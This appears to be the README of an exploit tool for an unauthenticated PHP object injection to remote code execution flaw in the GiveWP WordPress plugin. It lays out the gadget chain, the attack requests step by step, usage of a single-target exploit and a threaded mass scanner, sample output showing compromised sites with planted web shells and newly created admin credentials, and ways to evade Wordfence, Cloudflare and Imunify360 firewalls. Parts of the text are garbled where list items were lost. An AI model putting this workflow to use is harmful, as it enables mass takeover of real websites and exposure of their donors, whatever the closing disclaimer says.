r0x19/cve-2026-82222GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
Author: Rx019
CVSS: 10.0 (Critical)
Type: Unauthenticated PHP Object Injection → Remote Code Execution
Plugin: GiveWP (give) — Donation Plugin and Fundraising Platform
Affected: <= 4.16.7.1
Patched: 4.16.8
GiveWP stores a donor's last_name in the PHP session without sanitization. When a donation is submitted without the give_last field, GiveWP deserializes the raw value from the database directly into the session. This allows an unauthenticated attacker to inject a PHP serialized object into last_name via the donor profile endpoint, then trigger deserialization by submitting a crafted donation — resulting in arbitrary command execution via a pre-built POP chain available in GiveWP's bundled vendor libraries.
TCPDF::__destruct()
└─ Session::getBag() ← calls method named by $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command from $attributeName
Vendor classes used:
| Class | File |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Register as donor → authenticated session (wp-login cookie)
2. POST /wp-admin/profile.php
last_name = serialized TCPDF chain with embedded system() command
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (give_last field OMITTED)
→ GiveWP reads last_name from DB, writes raw object into session
4. GET /?p={form_id}
→ PHP session teardown fires TCPDF::__destruct()
→ POP chain executes system(command)
5. Confirm shell / admin created
pip install requests rich
Python >= 3.9
| File | Description |
|---|---|
CVE-2026-82222.py | Single-target PoC — verbose step-by-step output |
CVE-2026-82222-MASS.py | Mass scanner — threaded batch mode |
python CVE-2026-82222.py
Interactive prompt:
Target URL: https://victim.com
Or direct:
python CVE-2026-82222.py https://victim.com
# Batch from file
python CVE-2026-82222-MASS.py -f targets.txt
# Custom thread count
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Multiple targets inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Interactive menu
python CVE-2026-82222-MASS.py
Batch file format:
# Lines starting with # are ignored
https://target1.com
https://target2.com
target3.com # protocol auto-prefixed as https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
Results saved to ~/Documents/CVE/CVE-2026-82222/:
| File | Contents |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Single-run result |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Full batch results |
success_results.txt | Appended VULN/PARTIAL lines |
The exploit attempts two primary paths in sequence:
wp_create_user() PHP code as base64 into the TCPDF chainUsed when Path A fails or admin login cannot be verified.
last_name via profile endpointgive_last)/?p={form_id})id | tee beacon to a .txt file in uploadsIf a shell is confirmed but no admin exists yet, create one via the shell using wp_create_user() through the webshell's ?c= parameter.
| WAF | Strategy |
|---|---|
| Imunify360 | Strip X-Forwarded-For / X-Real-IP spoof headers |
| Wordfence | Rotate User-Agent from pool |
| Cloudflare | Set Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT in wp-config.php blocks the plugin/theme editor vector — the script detects this early and falls through to Path BRx{100-999}.php — randomized per runThis tool is released for authorized security testing and research purposes only.
Use only against systems you own or have explicit written permission to test.
Unauthorized use is illegal and unethical.